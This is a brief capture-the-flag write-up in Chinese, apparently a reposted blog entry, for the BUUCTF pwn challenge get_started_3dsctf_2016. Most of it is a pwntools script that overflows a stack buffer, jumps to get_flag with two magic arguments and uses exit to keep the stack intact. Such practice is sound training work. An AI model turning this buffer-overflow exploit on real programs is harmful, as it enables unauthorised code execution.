BUUCTF(Pwn)get_started_3dsctf_2016

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

from pwn import *
p = remote("node3.buuoj.cn",28584)
context.log_level = 'debug'
a1 = 0x308cd64f
a2 = 0x195719d1
get_flag_addr = 0x080489A0
exit_addr = 0x0804E6A0
payload = 'a'* 0x38 + p32(get_flag_addr) + p32(exit_addr)+ p32(a1) + p32(a2)
p.sendline(payload)
p.recv()
p.interactive()

最开始向直接跳入get_flag函数,结果不能正确得到结果。原因是必须维护好栈,所以找一个函数来退出。于是利用了exit函数
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_45556441/article/details/115273998